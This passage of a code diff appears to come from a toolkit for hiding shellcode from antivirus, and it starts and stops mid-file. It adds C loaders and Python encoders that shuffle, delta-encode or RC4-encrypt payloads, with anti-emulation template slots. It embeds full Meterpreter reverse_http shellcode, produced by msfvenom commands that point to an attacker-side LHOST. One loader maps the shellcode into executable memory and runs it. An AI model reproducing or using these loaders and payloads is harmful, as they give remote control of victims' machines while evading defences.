291, 282, 338, 118, 310, 51, 425, 234, 465, 566, 404, 108, 90, 487, 470, 147, 88, 185, 326, 296, 395, 82, 464, 481, 406, 137, 232, 591, 173, 189, 528, 284, 56, 571, 303, 120, 38, 587, 91, 408, 506, 238, 196, 74, 145, 292, 276, 31 };
|
||||
|
||||
unsigned char shellcode[598] = { 0x00 };
|
||||
int position;
|
||||
|
||||
// Reconstruct the payload
|
||||
for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) {
|
||||
printf("");
|
||||
position = positions[idx];
|
||||
shellcode[position] = jigsaw[idx];
|
||||
}
|
||||
*/
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
import random
|
||||
import sys
|
||||
|
||||
|
||||
def getShellcode(input_file):
|
||||
file_shellcode = b''
|
||||
try:
|
||||
with open(input_file, 'rb') as shellcode_file:
|
||||
file_shellcode = shellcode_file.read()
|
||||
file_shellcode = file_shellcode.strip()
|
||||
binary_code = ''
|
||||
sc_array = []
|
||||
|
||||
for byte in file_shellcode:
|
||||
binary_code += "\\x" + hex(byte)[2:].zfill(2)
|
||||
|
||||
raw_shellcode = "0" + ",0".join(binary_code.split("\\")[1:])
|
||||
for byte in raw_shellcode.split(','):
|
||||
sc_array.append(byte)
|
||||
|
||||
return(sc_array)
|
||||
|
||||
except FileNotFoundError:
|
||||
sys.exit("\n\nThe input file you specified does not exist! Please specify a valid file path.\nExiting...\n")
|
||||
|
||||
|
||||
def jigsaw(filename):
|
||||
shellcode = getShellcode(filename)
|
||||
sc_len = len(shellcode)
|
||||
raw_positions = list(range(0,sc_len))
|
||||
random.shuffle(raw_positions)
|
||||
|
||||
jigsaw = []
|
||||
for position in raw_positions:
|
||||
jigsaw.append(shellcode[position])
|
||||
|
||||
jigsaw_array = 'unsigned char jigsaw[XXX] = { '
|
||||
jigsaw_array += ', '.join(str(byte) for byte in jigsaw)
|
||||
jigsaw_array += ' };'
|
||||
|
||||
position_array = 'int positions[XXX] = { '
|
||||
position_array += ', '.join(str(x) for x in raw_positions)
|
||||
position_array += ' };'
|
||||
|
||||
code = jigsaw_array + '\n\n'
|
||||
code += position_array + '\n\n'
|
||||
code += '''
|
||||
unsigned char shellcode[XXX] = { 0x00 };
|
||||
int position;
|
||||
|
||||
// Reconstruct the payload
|
||||
for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) {
|
||||
position = positions[idx];
|
||||
shellcode[position] = jigsaw[idx];
|
||||
}
|
||||
'''
|
||||
code = code.replace('XXX', str(sc_len))
|
||||
|
||||
return code
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// compile: cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcnoobfuscation-loader.c /link /out:noobfuscation-loader.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f csharp | tr -d \\n
|
||||
unsigned char shellcode[593] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x44,0x8b,0x40,0x20,0x50,0x8b,0x48,0x18,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x10,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x39,0x30,0x2e,0x31,0x33,0x34,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x50,0x00,0x00,0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x48,0x00,0x00,0x00,0x2f,0x37,0x4f,0x4a,0x67,0x49,0x32,0x4b,0x6c,0x4c,0x4f,0x76,0x79,0x47,0x76,0x4d,0x59,0x6c,0x2d,0x4e,0x51,0x71,0x51,0x46,0x6b,0x33,0x53,0x72,0x39,0x43,0x58,0x45,0x57,0x6e,0x77,0x6a,0x62,0x4d,0x76,0x32,0x37,0x41,0x39,0x76,0x43,0x31,0x4a,0x56,0x5f,0x62,0x62,0x32,0x76,0x70,0x4b,0x78,0x62,0x71,0x64,0x58,0x45,0x42,0x47,0x37,0x66,0x71,0x67,0x2d,0x4c,0x67,0x62,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x02,0x28,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xcc,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5};
|
||||
|
||||
int main(void)
|
||||
{
|
||||
void * exec_mem;
|
||||
BOOL rv;
|
||||
HANDLE th;
|
||||
DWORD op = 0;
|
||||
|
||||
// Allocate buffer for shellcode
|
||||
exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// Copy shellcode to the buffer
|
||||
RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));
|
||||
|
||||
// Execute shellcode in a thread
|
||||
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
|
||||
WaitForSingleObject(th, -1);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// compile: cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcnoobfuscation.c /link /out:noobfuscation.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f csharp | tr -d \\n
|
||||
unsigned char shellcode[593] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x44,0x8b,0x40,0x20,0x50,0x8b,0x48,0x18,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x10,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x39,0x30,0x2e,0x31,0x33,0x34,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x50,0x00,0x00,0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0x48,0x00,0x00,0x00,0x2f,0x37,0x4f,0x4a,0x67,0x49,0x32,0x4b,0x6c,0x4c,0x4f,0x76,0x79,0x47,0x76,0x4d,0x59,0x6c,0x2d,0x4e,0x51,0x71,0x51,0x46,0x6b,0x33,0x53,0x72,0x39,0x43,0x58,0x45,0x57,0x6e,0x77,0x6a,0x62,0x4d,0x76,0x32,0x37,0x41,0x39,0x76,0x43,0x31,0x4a,0x56,0x5f,0x62,0x62,0x32,0x76,0x70,0x4b,0x78,0x62,0x71,0x64,0x58,0x45,0x42,0x47,0x37,0x66,0x71,0x67,0x2d,0x4c,0x67,0x62,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x00,0x02,0x28,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xcc,0xe8,0x55,0x00,0x00,0x00,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5};
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("All this program does is store shellcode and print this message.\n");
|
||||
}
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <windows.h>
|
||||
|
||||
// Compile:
|
||||
// cl.exe /nologo /MT /W0 /GS- /DNDEBUG /Tcoffset.c /link /out:offset.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
int main(){
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
|
||||
// python3 offset.py -i met.bin
|
||||
|
||||
//Size of shellcode array
|
||||
int cap = sizeof(delta) / sizeof(delta[0]);
|
||||
|
||||
//Setting first byte of the reconstituted array to the first byte of the payload
|
||||
shellcode[0] = first_byte;
|
||||
|
||||
// keep track of our positions
|
||||
unsigned int delta_idx, shellcode_idx;
|
||||
|
||||
/* Take initial byte and add the delta to it to get the second byte. Take second byte
|
||||
and add second delta to get third byte and so on. */
|
||||
for (delta_idx = 0; delta_idx < cap; delta_idx++)
|
||||
{
|
||||
shellcode_idx = delta_idx + 1;
|
||||
shellcode[shellcode_idx] = shellcode[delta_idx] + delta[delta_idx];
|
||||
}
|
||||
|
||||
|
||||
for (int l = 0; l < cap + 1; l++)
|
||||
{
|
||||
//Last run needs to print closing bracket and semicolon
|
||||
if (l == (cap)) {
|
||||
printf("0x%02x", shellcode[l]);
|
||||
}
|
||||
else {
|
||||
//Added a 1 because initial loop is true and adds a newline. This causes it to print 15 bytes and then a new line
|
||||
if ((l + 1) % 15 == 0) {
|
||||
printf("0x%02x,\n", shellcode[l]);
|
||||
}
|
||||
else {
|
||||
printf("0x%02x,", shellcode[l]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import sys
|
||||
|
||||
|
||||
def get_raw_sc(input_file):
|
||||
input_file = input_file
|
||||
file_shellcode = b''
|
||||
try:
|
||||
with open(input_file, 'rb') as shellcode_file:
|
||||
file_shellcode = shellcode_file.read()
|
||||
file_shellcode = file_shellcode.strip()
|
||||
return(file_shellcode)
|
||||
except FileNotFoundError:
|
||||
sys.exit("Supplied input file not found!")
|
||||
|
||||
|
||||
def offset(input_file):
|
||||
# read in our raw shellcode and get the length
|
||||
raw_sc = get_raw_sc(input_file)
|
||||
sc_len = len(raw_sc)
|
||||
|
||||
offset_arr = [] # stores the calculated offsets
|
||||
remaining_idx = 1 # starts at 1 - second byte of shellcode
|
||||
previous_byte = raw_sc[0] # Store previous byte we processed.
|
||||
|
||||
# Loop through remaining bytes of shellcode
|
||||
while remaining_idx < sc_len:
|
||||
# Subtract previous byte from current byte to get the offset
|
||||
current_byte = raw_sc[remaining_idx] - previous_byte
|
||||
|
||||
# Add 256 if value is negative to wrap around.
|
||||
if current_byte < 0:
|
||||
current_byte = current_byte + 256
|
||||
|
||||
# Add current byte of offset array
|
||||
offset_arr.append(current_byte)
|
||||
|
||||
# Update previous byte to current shellcode byte
|
||||
previous_byte = raw_sc[remaining_idx]
|
||||
remaining_idx += 1
|
||||
|
||||
ret = ""
|
||||
ret += 'unsigned char first_byte = ' + hex(raw_sc[0]) + ';'
|
||||
ret += 'unsigned char delta[{}] = '.format(str(len(offset_arr))) + "{"
|
||||
ret += '{}'.format(', '.join((hex(x) for x in offset_arr))) + " };"
|
||||
ret += 'unsigned char shellcode[{}] = '.format(str(sc_len)) + '{ 0x00 };'
|
||||
return ret
|
||||
@@ -0,0 +1,70 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/*
|
||||
Based on https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/
|
||||
|
||||
SystemFunction033 is an undocumented function that can perform RC4 encryption/decryption on a buffer.
|
||||
Similar to XOR, calling SystemFunction033 on an a buffer containing unencrypted data encrypts the data in the buffer.
|
||||
Calling SystemFunction033 on an a buffer containing encrypted data decrypts the data in the buffer.
|
||||
*/
|
||||
|
||||
// compile:
|
||||
// cl.exe /nologo /W0 /DNDEBUG /Tcrc4.c /link /OUT:rc4.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
|
||||
|
||||
|
||||
// Function prototype for SystemFunction033
|
||||
typedef NTSTATUS(WINAPI* _SystemFunction033)(
|
||||
struct ustring* memoryRegion,
|
||||
struct ustring* keyPointer);
|
||||
|
||||
|
||||
// Define our ustring struct
|
||||
struct ustring {
|
||||
DWORD Length;
|
||||
DWORD MaximumLength;
|
||||
PUCHAR Buffer;
|
||||
} _data, key;
|
||||
|
||||
int main() {
|
||||
{{ANTI_EMULATION}}
|
||||
|
||||
// declare SystemFunction033 for use
|
||||
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary((LPCSTR)"Advapi32"), (LPCSTR)"SystemFunction033");
|
||||
|
||||
{{SHELLCODE}}
|
||||
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
|
||||
// python3 rc4_encrypt.py -i met.bin
|
||||
/*char _key[] = "XK53QSV2MSEPPKAU";
|
||||
unsigned char shellcode[] = {0xee, 0x8, 0x63, 0x24, 0x95, 0x5e, 0xb3, 0xf4, 0xd6, 0x8a, 0xbe, 0xbb, 0xb3, 0xd0, 0x7f, 0x9f, 0xfc, 0x67, 0x13, 0x75, 0x6b, 0xd0, 0x5c, 0xc7, 0x9d, 0x39, 0x21, 0x20, 0x64, 0x98, 0x53, 0xe4, 0x96, 0x3a, 0x40, 0x35, 0xb2, 0xc1, 0xe2, 0xd2, 0xc2, 0xe, 0x7b, 0x7, 0xb2, 0xae, 0x14, 0xd7, 0x3, 0xa7, 0xcf, 0xb3, 0x13, 0x86, 0xc5, 0x8, 0x2b, 0x8d, 0x7c, 0xa7, 0xdd, 0x94, 0xd8, 0x47, 0x8, 0xee, 0xb7, 0x1b, 0xf2, 0x83, 0x32, 0x85, 0x8a, 0xbb, 0xee, 0x46, 0xd3, 0x9c, 0xd8, 0x75, 0xe0, 0xc0, 0x5e, 0x48, 0x4a, 0xb, 0xaf, 0xb6, 0x97, 0x57, 0x96, 0x96, 0x47, 0x70, 0xa2, 0x99, 0x15, 0x30, 0xbd, 0x70, 0x36, 0xa1, 0x47, 0x79, 0x6a, 0xec, 0x46, 0x8b, 0x7e, 0x46, 0xc5, 0xbe, 0x30, 0x6b, 0x1d, 0x4, 0xfb, 0x4f, 0x5a, 0xa4, 0x77, 0xfa, 0xbf, 0x2f, 0xbd, 0xd4, 0x6d, 0x73, 0xd3, 0xc9, 0xff, 0xe4, 0x78, 0x14, 0x47, 0xaa, 0xf8, 0x90, 0x29, 0x61, 0x1f, 0xa9, 0xcd, 0xb7, 0xac, 0xfe, 0x35, 0x40, 0x5c, 0x61, 0x2b, 0xf9, 0x2e, 0x4b, 0x40, 0xdd, 0x7e, 0x31, 0xe3, 0x3c, 0xd1, 0x20, 0xca, 0x60, 0xaf, 0x56, 0x4e, 0xfd, 0x89, 0xa4, 0x48, 0x70, 0x6b, 0xf0, 0xc2, 0x64, 0x75, 0x22, 0xd8, 0xfc, 0x78, 0x13, 0xb7, 0x2a, 0x0, 0x41, 0xfd, 0xe9, 0x69, 0x79, 0x73, 0x34, 0x70, 0x3d, 0x9b, 0xd5, 0x2c, 0x85, 0x47, 0x9d, 0x22, 0x80, 0x30, 0x42, 0xaa, 0xa3, 0xe9, 0xe0, 0xf, 0x8f, 0x31, 0xb6, 0x0, 0xef, 0xdb, 0x70, 0xe6, 0x64, 0x1a, 0xd0, 0xba, 0x54, 0x89, 0x8a, 0xe6, 0xff, 0x4d, 0xca, 0x46, 0x43, 0xd1, 0xa5, 0xcc, 0x43, 0xa1, 0x69, 0x75, 0xb6, 0x5b, 0xe8, 0x2, 0xf3, 0x52, 0xab, 0x28, 0xc3, 0xdb, 0xd2, 0x54, 0x7, 0xa2, 0x67, 0xe, 0x91, 0x4, 0x5e, 0x23, 0xbe, 0xa0, 0x32, 0x7a, 0x44, 0x96, 0xdd, 0x1f, 0xbb, 0x5b, 0x1a, 0xde, 0xb5, 0x8f, 0xea, 0xb1, 0x53, 0x28, 0x50, 0xa, 0x5f, 0xdf, 0x25, 0x4a, 0xf, 0x18, 0x5c, 0x15, 0x12, 0xbe, 0xb3, 0x3c, 0x6e, 0x87, 0xc, 0x83, 0x2a, 0xfb, 0x8e, 0x69, 0x4f, 0xe0, 0x3c, 0x9f, 0xfe, 0x9f, 0x14, 0x60, 0x4b, 0xa, 0x5a, 0xc9, 0x69, 0x37, 0x67, 0x31, 0x3b, 0xb5, 0xe5, 0x74, 0xc5, 0xb3, 0x11, 0x4e, 0xab, 0x9c, 0x46, 0xcd, 0xf9, 0x9b, 0x72, 0xde, 0xf8, 0xb4, 0x4, 0xb1, 0x7e, 0x76, 0xc7, 0xb3, 0xb1, 0xe9, 0x23, 0x7a, 0xcc, 0xf1, 0x90, 0x49, 0xee, 0xe6, 0x3d, 0x18, 0x84, 0xc0, 0x9e, 0x1a, 0xe3, 0xe4, 0xb8, 0x21, 0x3d, 0xf6, 0xb6, 0x39, 0x85, 0x94, 0x56, 0x6e, 0x12, 0xed, 0xb3, 0x62, 0x51, 0x69, 0x2f, 0x7e, 0xc9, 0xaf, 0xb5, 0x73, 0xa, 0xd3, 0xc1, 0x53, 0xb7, 0x21, 0x87, 0x3, 0x6a, 0x51, 0xde, 0x12, 0xf9, 0x62, 0x31, 0x1f, 0xb2, 0x14, 0x48, 0x75, 0xc8, 0xb2, 0x5c, 0x62, 0x3, 0x29, 0xe4, 0xa4, 0xb9, 0xa0, 0x7a, 0xea, 0x6e, 0x6, 0xf4, 0x53, 0xaf, 0x8d, 0xf3, 0x7a, 0xd5, 0xdf, 0xc9, 0x1e, 0x79, 0x4f, 0x4e, 0xe8, 0x99, 0xcc, 0x75, 0xd4, 0x9, 0x12, 0xc8, 0xff, 0xf1, 0x9b, 0x31, 0xc2, 0x77, 0x89, 0x8f, 0x9b, 0x11, 0x1c, 0xab, 0xd, 0x7b, 0xa8, 0x33, 0xab, 0x9a, 0xc7, 0x57, 0xe, 0xaf, 0x16, 0x68, 0x9a, 0x83, 0x33, 0xff, 0x64, 0x5e, 0xea, 0xb9, 0xcc, 0xcd, 0x77, 0xc1, 0x2f, 0x71, 0x40, 0xcf, 0x4a, 0xdd, 0xe6, 0x5a, 0xe2, 0x40, 0x15, 0xf7, 0x6c, 0xe0, 0x79, 0xc9, 0xd8, 0xc0, 0xab, 0x78, 0x9a, 0xef, 0x62, 0xda, 0x83, 0x3d, 0x62, 0xbc, 0x53, 0xff, 0x92, 0x3a, 0xfd, 0x17, 0xf3, 0x2, 0xd3, 0x91, 0xc6, 0xf, 0x95, 0xb9, 0xd5, 0xd6, 0x6d, 0x42, 0x76, 0x1, 0xad, 0xb1, 0xc9, 0xf1, 0xc1, 0xeb, 0x35, 0xa2, 0x92, 0xb2, 0x8e, 0x71, 0xdb, 0x8a, 0x5c, 0xbd, 0x5c, 0xe6, 0x91, 0x66, 0x18, 0xfe, 0x4d, 0x37, 0x4, 0xc5, 0x6e, 0x9e, 0x1e, 0x73, 0xc9, 0x5c, 0x27, 0x47, 0x74, 0xb0, 0x45, 0xba, 0xf, 0x26, 0x9d, 0xad, 0xa, 0x18, 0xa6, 0xf8, 0x2e, 0x29, 0x56, 0x6, 0xd0, 0xcc, 0x38, 0x66, 0x2d, 0x85, 0x9e, 0xee, 0x27, 0x2, 0xe0, 0x8b, 0x29, 0xb9, 0x94, 0xc9, 0x7, 0xa8, 0x4, 0xf5, 0x5, 0x6c, 0xbf, 0x8b, 0x21, 0xbe, 0x21, 0xa5, 0xec, 0x54, 0x9d, 0xdf};
|
||||
*/
|
||||
// declare a variable for our shellcode size
|
||||
unsigned int shellcode_size = sizeof(shellcode);
|
||||
|
||||
// create a new struct from our key
|
||||
key.Buffer = (&_key);
|
||||
key.Length = 16;
|
||||
|
||||
// create a new struct from the shellcode
|
||||
_data.Buffer = &shellcode;
|
||||
_data.Length = shellcode_size;
|
||||
|
||||
//SystemFunction033(&data, &key);
|
||||
SystemFunction033(&_data, &key);
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from typing import Iterator
|
||||
from base64 import b64encode
|
||||
from sys import argv,exit,stderr
|
||||
import argparse
|
||||
import random
|
||||
import string
|
||||
|
||||
|
||||
# Based on snovvcrash RC4 encryption script: https://gist.github.com/snovvcrash/3533d950be2d96cf52131e8393794d99
|
||||
# Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071
|
||||
def key_scheduling(key):
|
||||
key = [ord(char) for char in key]
|
||||
sched = [i for i in range(0, 256)]
|
||||
|
||||
i = 0
|
||||
for j in range(0, 256):
|
||||
i = (i + sched[j] + key[j % len(key)]) % 256
|
||||
tmp = sched[j]
|
||||
sched[j] = sched[i]
|
||||
sched[i] = tmp
|
||||
|
||||
return sched
|
||||
|
||||
|
||||
def stream_generation(sched: list[int]) -> Iterator[bytes]:
|
||||
i, j = 0, 0
|
||||
while True:
|
||||
i = (1 + i) % 256
|
||||
j = (sched[i] + j) % 256
|
||||
tmp = sched[j]
|
||||
sched[j] = sched[i]
|
||||
sched[i] = tmp
|
||||
yield sched[(sched[i] + sched[j]) % 256]
|
||||
|
||||
|
||||
def encrypt(plaintext: bytes, key: bytes) -> bytes:
|
||||
sched = key_scheduling(key)
|
||||
key_stream = stream_generation(sched)
|
||||
|
||||
ciphertext = b''
|
||||
for char in plaintext:
|
||||
enc = char ^ next(key_stream)
|
||||
ciphertext += bytes([enc])
|
||||
|
||||
return ciphertext
|
||||
|
||||
|
||||
def rc4api(input_file: str) -> bytes:
|
||||
# https://stackoverflow.com/a/2257449
|
||||
key = ''.join(random.choices(string.ascii_uppercase + string.digits, k=16))
|
||||
|
||||
with open(input_file, 'rb') as f:
|
||||
result = encrypt(plaintext=f.read(), key=key)
|
||||
|
||||
ret = ""
|
||||
ret += 'char _key[] = "{}";'.format(key)
|
||||
ret += 'char shellcode[] = {{{}}};'.format(', '.join(hex(x) for x in result))
|
||||
return ret
|
||||
@@ -0,0 +1,42 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
